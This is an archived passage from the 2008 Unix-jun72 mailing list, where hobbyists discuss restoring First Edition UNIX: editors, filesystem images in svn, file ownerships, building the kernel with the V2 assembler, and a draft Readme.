patches to fix the } and lowercase problem, and to speed up console output. I spent some time trying to fix the ^M problem, without any luck. Warren From peterjeremy at optushome.com.au Tue May 6 05:47:12 2008 From: peterjeremy at optushome.com.au (Peter Jeremy) Date: Tue, 6 May 2008 05:47:12 +1000 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505192248.GA92582@freebie.xs4all.nl> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> Message-ID: <20080505194712.GV7293@server.vk2pj.dyndns.org> On Mon, May 05, 2008 at 09:22:49PM +0200, Wilko Bulte wrote: >Quoting Johan Beisser, who wrote on Mon, May 05, 2008 at 11:52:15AM -0700 .. >> gcc. > >or emacs? OpenOffice.org -- Peter Jeremy Please excuse any delays as the result of my ISP's inability to implement an MTA that is either RFC2821-compliant or matches their claimed behaviour. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available URL: From madcrow.maxwell at gmail.com Tue May 6 06:09:49 2008 From: madcrow.maxwell at gmail.com (Michael Kerpan) Date: Mon, 5 May 2008 16:09:49 -0400 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <481F635A.40103@bitsavers.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> Message-ID: <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> ed? On Mon, May 5, 2008 at 3:43 PM, Al Kossow wrote: > Milo Velimirovic wrote: > > vi > > You're slowly converging on programs that MIGHT fit on an 11/20 > > > > > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > From wkt at tuhs.org Tue May 6 09:49:48 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 09:49:48 +1000 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> Message-ID: <20080505234948.GA17149@minnie.tuhs.org> On Mon, May 05, 2008 at 04:09:49PM -0400, Michael Kerpan wrote: > ed? Yes, ed is already there and works. It means I now have to learn ed, something I have avoided doing so far. Warren From cowan at ccil.org Tue May 6 12:16:17 2008 From: cowan at ccil.org (John Cowan) Date: Mon, 5 May 2008 22:16:17 -0400 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505234948.GA17149@minnie.tuhs.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> Message-ID: <20080506021617.GN28125@mercury.ccil.org> Warren Toomey scripsit: > Yes, ed is already there and works. It means I now have to learn ed, something > I have avoided doing so far. You have? But ed is the standard editor! -- Mos Eisley spaceport. You will never John Cowan see a more wretched hive of scum and cowan at ccil.org villainy -- unless you watch the http://www.ccil.org/~cowan Jerry Springer Show. --georgettesworld.com From wkt at tuhs.org Tue May 6 12:31:02 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 12:31:02 +1000 Subject: [Unix-jun72] ed In-Reply-To: <20080506021617.GN28125@mercury.ccil.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> <20080506021617.GN28125@mercury.ccil.org> Message-ID: <20080506023102.GA21567@minnie.tuhs.org> Warren Toomey scripsit: > I have avoided [learning ed] so far. On Mon, May 05, 2008 at 10:16:17PM -0400, John Cowan wrote: > You have? But ed is the standard editor! I got into UNIX by the time vi was around, so I missed out on ed. Warren From cowan at ccil.org Tue May 6 12:34:05 2008 From: cowan at ccil.org (John Cowan) Date: Mon, 5 May 2008 22:34:05 -0400 Subject: [Unix-jun72] ed In-Reply-To: <20080506023102.GA21567@minnie.tuhs.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> <20080506021617.GN28125@mercury.ccil.org> <20080506023102.GA21567@minnie.tuhs.org> Message-ID: <20080506023405.GO28125@mercury.ccil.org> Warren Toomey scripsit: > I got into UNIX by the time vi was around, so I missed out on ed. I switched from ed to ex (I'll trade a little bit of tradition for increased function) and have remained there ever since. I switch ex to vi-mode very occasionally -- I know the h, j, k, l, i, and x commands. -- In politics, obedience and support John Cowan are the same thing. --Hannah Arendt http://www.ccil.org/~cowan From wkt at tuhs.org Tue May 6 12:38:14 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 12:38:14 +1000 Subject: [Unix-jun72] Import V1 filesystem trees into svn? Message-ID: <20080506023814.GA21907@minnie.tuhs.org> I think it would be a good idea to import the V1 / and /usr filesystem from the s2 tape into the subversion repository, so that we can write a tools/ script to build "known good" rf0.dsk and rk1.dsk disk images. In my private tree I have 1root/ and 1usr/, but perhaps we should have something like fs/root/ and fs/usr. They need to be split so that my mkfs tool can build separate disk images. Comments? Warren From cowan at ccil.org Tue May 6 12:16:17 2008 From: cowan at ccil.org (John Cowan) Date: Mon, 5 May 2008 22:16:17 -0400 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505234948.GA17149@minnie.tuhs.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> Message-ID: <20080506021617.GN28125@mercury.ccil.org> Warren Toomey scripsit: > Yes, ed is already there and works. It means I now have to learn ed, something > I have avoided doing so far. You have? But ed is the standard editor! -- Mos Eisley spaceport. You will never John Cowan see a more wretched hive of scum and cowan at ccil.org villainy -- unless you watch the http://www.ccil.org/~cowan Jerry Springer Show. --georgettesworld.com From newsham at lava.net Tue May 6 12:48:46 2008 From: newsham at lava.net (Tim Newsham) Date: Mon, 5 May 2008 16:48:46 -1000 (HST) Subject: [Unix-jun72] Import V1 filesystem trees into svn? In-Reply-To: <20080506023814.GA21907@minnie.tuhs.org> References: <20080506023814.GA21907@minnie.tuhs.org> Message-ID: > I think it would be a good idea to import the V1 / and /usr filesystem from > the s2 tape into the subversion repository, so that we can write a tools/ > script to build "known good" rf0.dsk and rk1.dsk disk images. The rf0 disk is pretty manageable. The rk0 disk is 2.5M and might be a little big for putting into the SVN (download 2.5M any time someone makes any changes to it)... If its something that isn't going to change, perhaps just putting "known good" disk images up on the website would be better. The google site lets us have a download section, and then there's always TUHS... I think the bigger question here is what do we want the standard disk image to look like? Are we building rf0 with s2/bin and s2/etc only? Should it have the jun72 init on it? the jun72 sh? A "mount" utility? Is rk0 a clean copy of s2/usr? What about the files that mkfs can't currently put on the system due to size? What about file permissions? Are we going to restore the old s2 permissions? Will there be any new versions or hacks applied? Do we want to put up prebuilt kernels? If so, which patches, if any, should be applied? If we put up a cold kernel I imagine we also want to put up a tape to build rf0, and the same questions apply. I imagine we want to have a script that autogenerates each of the images that we intend to put up. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Tue May 6 12:57:44 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 12:57:44 +1000 Subject: [Unix-jun72] Import V1 filesystem trees into svn? In-Reply-To: References: <20080506023814.GA21907@minnie.tuhs.org> Message-ID: <20080506025744.GA22678@minnie.tuhs.org> On Mon, May 05, 2008 at 04:48:46PM -1000, Tim Newsham wrote: > > I think it would be a good idea to import the V1 / and /usr filesystem from > > the s2 tape into the subversion repository, so that we can write a tools/ > > script to build "known good" rf0.dsk and rk1.dsk disk images. > > The rf0 disk is pretty manageable. The rk0 disk is 2.5M and might > be a little big for putting into the SVN Sorry Tim. I meant putting the files which will go onto the images, not the images themselves. Plus a tools/ script to build the images. > I think the bigger question here is what do we want the standard disk > image to look like? Are we building rf0 with s2/bin and s2/etc only? > Should it have the jun72 init on it? the jun72 sh? A "mount" utility? > Will there be any new versions or hacks applied? Perhaps we do the same as we have done with patches: fs/root == original files as per s2 tape fs/usr == original files as per s2 tape fs/newfiles == new files to add to images fs/buildroot == modified root (not in svn) fs/buildusr == modified usr (not in svn) tools/xxx == script to build root and usr > What about the files that mkfs can't currently put on the system due to size? Current mkfs can write all the s2 files, including the large ones. > What about file permissions? Are we going to restore the old s2 permissions? We can modify mkfs to restore uid, time and V1 permissions. > Do we want to put up prebuilt kernels? No, just document the method to build the kernels. > I imagine we want to have a script that autogenerates each of the > images that we intend to put up. I think that's the way to go: a script to build a kernel + a set of suitable tape/disk image files for it. Make it a top-level script that calls next-level scripts, so that we can still run tools/assemv7 if we want to build a kernel and not build a filesystem. Warren From brad at heeltoe.com Tue May 6 13:01:15 2008 From: brad at heeltoe.com (Brad Parker) Date: Mon, 05 May 2008 23:01:15 -0400 Subject: [Unix-jun72] ed In-Reply-To: <20080506023102.GA21567@minnie.tuhs.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> <20080506021617.GN28125@mercury.ccil.org> <20080506023102.GA21567@minnie.tuhs.org> Message-ID: <11064.1210042875@mini> Warren Toomey wrote: >Warren Toomey scripsit: >> I have avoided [learning ed] so far. > >On Mon, May 05, 2008 at 10:16:17PM -0400, John Cowan wrote: >> You have? But ed is the standard editor! > >I got into UNIX by the time vi was around, so I missed out on ed. I think I started around v6, because for some odd reason I can do ed in my sleep. playing with v1 I was shocked at how I just jumped right into ed, typing things like "1,$p" on autopilot. it was sort of scary :-) but it came back immediately. I think at some point I spent some time with ex also, which was sort of post ed, pre vi. Maybe on sun-1's? I can't remember, but the commands seem to translate. I can do vi but it's always a strain. ed is less complex. -brad From brad at heeltoe.com Tue May 6 13:05:54 2008 From: brad at heeltoe.com (Brad Parker) Date: Mon, 05 May 2008 23:05:54 -0400 Subject: [Unix-jun72] Import V1 filesystem trees into svn? In-Reply-To: References: <20080506023814.GA21907@minnie.tuhs.org> Message-ID: <11158.1210043154@mini> > >The rf0 disk is pretty manageable. The rk0 disk is 2.5M and might >be a little big for putting into the SVN (download 2.5M any time >someone makes any changes to it)... if you gzip the images they get pretty small, like < 64k. I'd put known good gzip versions in svn. -brad From cowan at ccil.org Tue May 6 13:10:49 2008 From: cowan at ccil.org (John Cowan) Date: Mon, 5 May 2008 23:10:49 -0400 Subject: [Unix-jun72] ed In-Reply-To: <11064.1210042875@mini> References: <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> <20080506021617.GN28125@mercury.ccil.org> <20080506023102.GA21567@minnie.tuhs.org> <11064.1210042875@mini> Message-ID: <20080506031049.GP28125@mercury.ccil.org> Brad Parker scripsit: > I think at some point I spent some time with ex also, which was > sort of post ed, pre vi. Maybe on sun-1's? I can't remember, but > the commands seem to translate. Ex and vi have always been twins; the ancestral form was em ("editor for mortals"), which had the 1-line window (ex's o(pen) command) but not the full screen. Supposedly among em users, the name "ed" was retconned to mean "editor for divinities". > I can do vi but it's always a strain. ed is less complex. I'd like to switch to sam one day, but so far I haven't. -- John Cowan cowan at ccil.org ccil.org/~cowan Dievas dave dantis; Dievas duos duonos --Lithuanian proverb Deus dedit dentes; deus dabit panem --Latin version thereof Deity donated dentition; deity'll donate doughnuts --English version by Muke Tever God gave gums; God'll give granary --Version by Mat McVeagh From jbeisser at gmail.com Tue May 6 12:40:04 2008 From: jbeisser at gmail.com (Johan Beisser) Date: Mon, 5 May 2008 19:40:04 -0700 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080506021617.GN28125@mercury.ccil.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com> <20080505234948.GA17149@minnie.tuhs.org> <20080506021617.GN28125@mercury.ccil.org> Message-ID: On Mon, May 5, 2008 at 7:16 PM, John Cowan wrote: > Warren Toomey scripsit: > > > > Yes, ed is already there and works. It means I now have to learn ed, something > > I have avoided doing so far. > > You have? But ed is the standard editor! .... I can use ed. I prefer vi. perhaps grep should be put in there.. -- Johan Beisser UNIX Contracting: infrastructure design, network security, disaster planning and recovery From wkt at tuhs.org Tue May 6 16:53:29 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 16:53:29 +1000 Subject: [Unix-jun72] Import V1 filesystem trees into svn? In-Reply-To: <20080506025744.GA22678@minnie.tuhs.org> References: <20080506023814.GA21907@minnie.tuhs.org> <20080506025744.GA22678@minnie.tuhs.org> Message-ID: <20080506065329.GA32717@minnie.tuhs.org> On Tue, May 06, 2008 at 12:57:44PM +1000, Warren Toomey wrote: > Perhaps we do the same as we have done with patches: > > fs/root == original files as per s2 tape > fs/usr == original files as per s2 tape > fs/newfiles == new files to add to images > fs/buildroot == modified root (not in svn) > fs/buildusr == modified usr (not in svn) > tools/xxx == script to build root and usr I've imported fs/root and fs/usr into the svn repository with the files from the s2 tape, and fs/new has Tim's etc/init so far. I haven't written any scripts to make filesystem images yet. Rather than use the file owner/permissions on the fs/ files, I'll modify mkfs.c to read a table a la the rawperms table in tools/mktape.py, so that the exact owner/perms get put into the V1 filesystem images. Cheers, Warren From wes.parish at paradise.net.nz Tue May 6 19:02:29 2008 From: wes.parish at paradise.net.nz (Wesley Parish) Date: Tue, 06 May 2008 21:02:29 +1200 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505.155446.-692167945.imp@bsdimp.com> References: <20080505192248.GA92582@freebie.xs4all.nl> <481F635A.40103@bitsavers.org> <20080505.155446.-692167945.imp@bsdimp.com> Message-ID: <200805062102.30525.wes.parish@paradise.net.nz> You could always port edlin to Unix Edition One ... ;) And then there's always that sh-based relational dbms! ;) Wesley Parish On Tuesday 06 May 2008 09:54, M. Warner Losh wrote: > In message: <481F635A.40103 at bitsavers.org> > > Al Kossow writes: > : Milo Velimirovic wrote: > : > vi > : > : You're slowly converging on programs that MIGHT fit on an 11/20 > > You mean like TECO? > > Warner > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 -- Clinersterton beademung, with all of love - RIP James Blish ----- Gaul is quartered into three halves. Things which are impossible are equal to each other. Guerrilla warfare means up to their monkey tricks. Extracts from "Schoolboy Howlers" - the collective wisdom of the foolish. ----- Mau e ki, he aha te mea nui? You ask, what is the most important thing? Maku e ki, he tangata, he tangata, he tangata. I reply, it is people, it is people, it is people. From wkt at tuhs.org Tue May 6 19:35:07 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 19:35:07 +1000 Subject: [Unix-jun72] mkfs.c modified to set correct file owner/perms In-Reply-To: <20080506065329.GA32717@minnie.tuhs.org> References: <20080506023814.GA21907@minnie.tuhs.org> <20080506025744.GA22678@minnie.tuhs.org> <20080506065329.GA32717@minnie.tuhs.org> Message-ID: <20080506093507.GA36397@minnie.tuhs.org> On Tue, May 06, 2008 at 04:53:29PM +1000, Warren Toomey wrote: > I've imported fs/root and fs/usr into the svn repository with the files from > the s2 tape, and fs/new has Tim's etc/init so far. I haven't written any > scripts to make filesystem images yet. fs/Readme now contains the correct file permissions for the files on the V1 filesystem images. mkfs.c now reads this file and uses it as required. tools/imgbuild builds rf0.dsk and rk0.dsk, using the fs/ files. I decided to turn off the "world write" flag on all the files: I can't see why any files should be world writable. Unfortunately, I had to use rsync in tools/imgbuild so that I could stop the .svn/ directories being copied into the images. Let me know if that is OK, or if we can do it without rsync. Cheers, Warren From wkt at tuhs.org Tue May 6 19:59:20 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 19:59:20 +1000 Subject: [Unix-jun72] File ownerships Message-ID: <20080506095920.GA36926@minnie.tuhs.org> In the V1 filesystem, there are a few files are owned by users which are not in the /etc/passwd or /etc/uids files: xrwr- 6 2860 169 Mar 7 12:23 /bin/cal xrwr- 4 7154 61 Jul 21 12:42 /bin/roff -rwr- 28 304 448 Jun 30 20:31 /usr/lib/fr0.o -rwr- 28 12222 449 Jun 30 20:37 /usr/lib/filib.a -rwr- 28 9158 419 Jun 30 20:46 /usr/lib/libf.a xrwr- 28 3462 491 Jul 1 16:35 /usr/fort/fc1 xrwr- 28 3238 498 Jul 1 16:35 /usr/fort/fc2 xrwr- 28 6840 505 Jul 1 16:35 /usr/fort/fc3 xrwr- 28 4918 519 Jul 1 16:35 /usr/fort/fc4 Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo) wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I propose the following: - add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as new files in fs/new. Thus jfo will own /bin/roff and ken will own /bin/cal - modify the permissions file so that the Fortran files which are uid 28 become uid 6 == ken. Sound reasonable? Cheers, Warren From wkt at tuhs.org Wed May 7 01:34:59 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 01:34:59 +1000 Subject: [Unix-jun72] V2 assembler can now build the kernel Message-ID: <20080506153459.GA47796@minnie.tuhs.org> Now that we have the V1 and V2 binaries in the svn tree, I thought I would try to use the V2 assembler to build the kernel, instead of the V7 one. After a bit of experimentation, I got it to work. It means we can remove our dependency on the V7 assembler. I've committed tools/assemv2, the script to build with V2 as, and a patch to redefine $mount and $gtty. It probably means that we could rebuild the kernel while running V1; I haven't tried this as yet. Cheers, Warren From wkt at tuhs.org Wed May 7 01:43:37 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 01:43:37 +1000 Subject: [Unix-jun72] Oddness Message-ID: <20080506154337.GA48171@minnie.tuhs.org> I just tried this command and got this output. Any ideas? Warren # who bin ).. Jan 1 13:02:48 b Dec 17 21:22:33 :. Jan 6 04:04:20 Jan 1 00:00:00 s1c Jan 2 08:46:04 2cat Jan 1 15:35:29 e Jan 2 08:27:52 chmod6 Dec 3 20:05:51 Jan 1 00:00:00 d Nov 24 08:05:49 :db Jan 1 18:01:07 Jan 1 00:00:00 ds> Jan 9 10:39:19 Jan 1 00:00:01 hoAe Jan 1 00:00:00 Bexit Jan 1 20:26:45 n Jan 1 00:00:00 formF Dec 26 13:00:28 Jan 1 00:00:01 l Jan 1 00:00:00 Jlogin Jan 1 22:53:32 i Jan 1 00:00:00 makiN Nov 24 06:05:45 r Jan 1 00:00:01 n Jan 1 00:00:00 Rod Jan 2 01:19:06 w Jan 1 00:00:00 rmV Dec 20 04:59:37 Jan 1 00:00:01 s Nov 24 09:55:03 Zskip Jan 2 03:44:31 a Jan 1 00:00:00 strip^ Jan 12 21:01:19 Jan 1 00:00:01 mat Jan 2 09:58:53 btm Jan 2 06:10:31 Jan 1 00:00:00 wcf Dec 4 02:01:29 e Jan 1 00:00:01 From newsham at lava.net Wed May 7 03:13:21 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 07:13:21 -1000 (HST) Subject: [Unix-jun72] File ownerships In-Reply-To: <20080506095920.GA36926@minnie.tuhs.org> References: <20080506095920.GA36926@minnie.tuhs.org> Message-ID: > Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo) > wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I > propose the following: > > - add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as > new files in fs/new. Thus jfo will own /bin/roff and ken will own > /bin/cal > - modify the permissions file so that the Fortran files which are > uid 28 become uid 6 == ken. > > Sound reasonable? I don't mind some files being left "unowned", but if you're fairly sure that the new ownership assignments reflected reality I'm not opposed to having them changed in our patched system. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Wed May 7 03:19:39 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 07:19:39 -1000 (HST) Subject: [Unix-jun72] V2 assembler can now build the kernel In-Reply-To: <20080506153459.GA47796@minnie.tuhs.org> References: <20080506153459.GA47796@minnie.tuhs.org> Message-ID: On Wed, 7 May 2008, Warren Toomey wrote: > I've committed tools/assemv2, the script to build with V2 as, and a patch > to redefine $mount and $gtty. Great! I'm not sure why, but previously it got the instruction at location "400" wrong, but with your patches it looks right. I'm glad to get rid of the v7 assembler and would have prefered to use the v2 assembler all along. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Wed May 7 03:21:29 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 07:21:29 -1000 (HST) Subject: [Unix-jun72] Oddness In-Reply-To: <20080506154337.GA48171@minnie.tuhs.org> References: <20080506154337.GA48171@minnie.tuhs.org> Message-ID: > # who bin > ).. Jan 1 13:02:48 > b Dec 17 21:22:33 It's reading from "bin" (the directory) instead of /tmp/utmp. Try "who /etc/passwd" for example. Tim Newsham http://www.thenewsh.com/~newsham/ From madcrow.maxwell at gmail.com Wed May 7 03:19:47 2008 From: madcrow.maxwell at gmail.com (Michael Kerpan) Date: Tue, 6 May 2008 13:19:47 -0400 Subject: [Unix-jun72] File ownerships In-Reply-To: References: <20080506095920.GA36926@minnie.tuhs.org> Message-ID: <8dd2d95c0805061019oe7bd924v22ba96f75e981f85@mail.gmail.com> Speaking of assigning some file ownerships to people who were historcially involved in created Unix back at that point in time, have we let any of them know about our successful ressurection? Maybe could get ken or dmr to write a "preface" to the readme file that will inevitably come into existance once we make together a "turnkey" distro of this for folks to play with in SIMH or something? On Tue, May 6, 2008 at 1:13 PM, Tim Newsham wrote: > > Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo) > > wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I > > propose the following: > > > > - add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as > > new files in fs/new. Thus jfo will own /bin/roff and ken will own > > /bin/cal > > - modify the permissions file so that the Fortran files which are > > uid 28 become uid 6 == ken. > > > > Sound reasonable? > > I don't mind some files being left "unowned", but if you're fairly > sure that the new ownership assignments reflected reality I'm not > opposed to having them changed in our patched system. > > > Warren > > Tim Newsham > http://www.thenewsh.com/~newsham/ > > > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > From wkt at tuhs.org Wed May 7 08:37:07 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 08:37:07 +1000 Subject: [Unix-jun72] File ownerships In-Reply-To: References: <20080506095920.GA36926@minnie.tuhs.org> Message-ID: <20080506223707.GA73049@minnie.tuhs.org> On Tue, May 06, 2008 at 07:13:21AM -1000, Tim Newsham wrote: > I don't mind some files being left "unowned", but if you're fairly > sure that the new ownership assignments reflected reality I'm not > opposed to having them changed in our patched system. I'm fairly sure they are OK. > Speaking of assigning some file ownerships to people who were > historcially involved in created Unix back at that point in time, have > we let any of them know about our successful ressurection? Back when we started, I e-mailed Dennis with a question and got an answer. When we had success, I e-mailed him again, but no reply yet. I'll send another note, and also ask him if he would write a preface; I'm sure he will. Cheers, Warren From wkt at tuhs.org Wed May 7 08:38:44 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 08:38:44 +1000 Subject: [Unix-jun72] Oddness In-Reply-To: References: <20080506154337.GA48171@minnie.tuhs.org> Message-ID: <20080506223844.GB73049@minnie.tuhs.org> On Tue, May 06, 2008 at 07:21:29AM -1000, Tim Newsham wrote: > > # who bin > > ).. Jan 1 13:02:48 > > b Dec 17 21:22:33 > > It's reading from "bin" (the directory) instead of /tmp/utmp. Try "who > /etc/passwd" for example. I'm a dill sometimes, and it was 1:43am im the morning. I'm burning the candle at both ends a bit on this :) Cheers, Warren From wkt at tuhs.org Wed May 7 08:41:52 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 08:41:52 +1000 Subject: [Unix-jun72] Import apout into svn? Message-ID: <20080506224152.GA73261@minnie.tuhs.org> Would people mind if I imported apout src code into svn under tools/? It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it might be good that you can get the latest version. Warren From newsham at lava.net Wed May 7 09:13:06 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 13:13:06 -1000 (HST) Subject: [Unix-jun72] Import apout into svn? In-Reply-To: <20080506224152.GA73261@minnie.tuhs.org> References: <20080506224152.GA73261@minnie.tuhs.org> Message-ID: > Would people mind if I imported apout src code into svn under tools/? > It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it > might be good that you can get the latest version. Yah, I think that would be fine and simplify our configuration a bit. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Wed May 7 09:13:06 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 13:13:06 -1000 (HST) Subject: [Unix-jun72] Import apout into svn? In-Reply-To: <20080506224152.GA73261@minnie.tuhs.org> References: <20080506224152.GA73261@minnie.tuhs.org> Message-ID: > Would people mind if I imported apout src code into svn under tools/? > It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it > might be good that you can get the latest version. Yah, I think that would be fine and simplify our configuration a bit. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Wed May 7 09:14:08 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 13:14:08 -1000 (HST) Subject: [Unix-jun72] warning - removing files Message-ID: I removed some older tools from the svn. If you're still using them and want to hold on to them, you might want to back up your copy before updating, or pull old versions from svn (feel free to send me questions if you are unsure how). Assemv7 and assem went away as did dumpaout.py. Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Wed May 7 09:56:50 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 09:56:50 +1000 Subject: [Unix-jun72] Finally! CR/LF annoyance fixed Message-ID: <20080506235650.GA75478@minnie.tuhs.org> In the svn repository, patches/upcase.patch now fixes the kernel so that CR is converted into LF. This means that you don't have to type ^J in any more. Warren From wkt at tuhs.org Wed May 7 10:49:03 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 10:49:03 +1000 Subject: [Unix-jun72] irc channel for UNIX V1 effort Message-ID: <20080507004903.GA77103@minnie.tuhs.org> To help co-ordinate real-time effort, Tim & I thought we might use irc.freenode.net, channel #unixv1. Please pop in and say hello! Warren From wkt at tuhs.org Wed May 7 11:33:59 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 11:33:59 +1000 Subject: [Unix-jun72] Readme written: needs checking Message-ID: <20080507013359.GA78359@minnie.tuhs.org> I've just written a Readme to describe how to build the kernel and filesystems, and to run 1st Edition UNIX. Can a few people who haven't actually used the system please have a go and give me feedback on the Readme. To fetch the repository: svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72 Then go into the new unix72/ and read the Readme. Thanks, Warren From cowan at ccil.org Wed May 7 12:35:49 2008 From: cowan at ccil.org (John Cowan) Date: Tue, 6 May 2008 22:35:49 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: <20080507023549.GV28125@mercury.ccil.org> Warren Toomey scripsit: > I've just written a Readme to describe how to build the kernel and filesystems, > and to run 1st Edition UNIX. Can a few people who haven't actually used the > system please have a go and give me feedback on the Readme. The misc/KE.diff file does not work with patch. I get this: /opt/simh$ patch --dry-run --verbose <../unix72/misc/KE.diff Hmm... Looks like a unified diff to me... The text leading up to this was: -------------------------- |--- makefile.~1~ 2006-07-07 14:50:52.000000000 -0400 |+++ makefile 2008-05-01 10:43:20.000000000 -0400 -------------------------- Patching file makefile using Plan A... Hunk #1 FAILED at 83. 1 out of 1 hunk FAILED -- saving rejects to file makefile.rej Hmm... The next patch looks like a 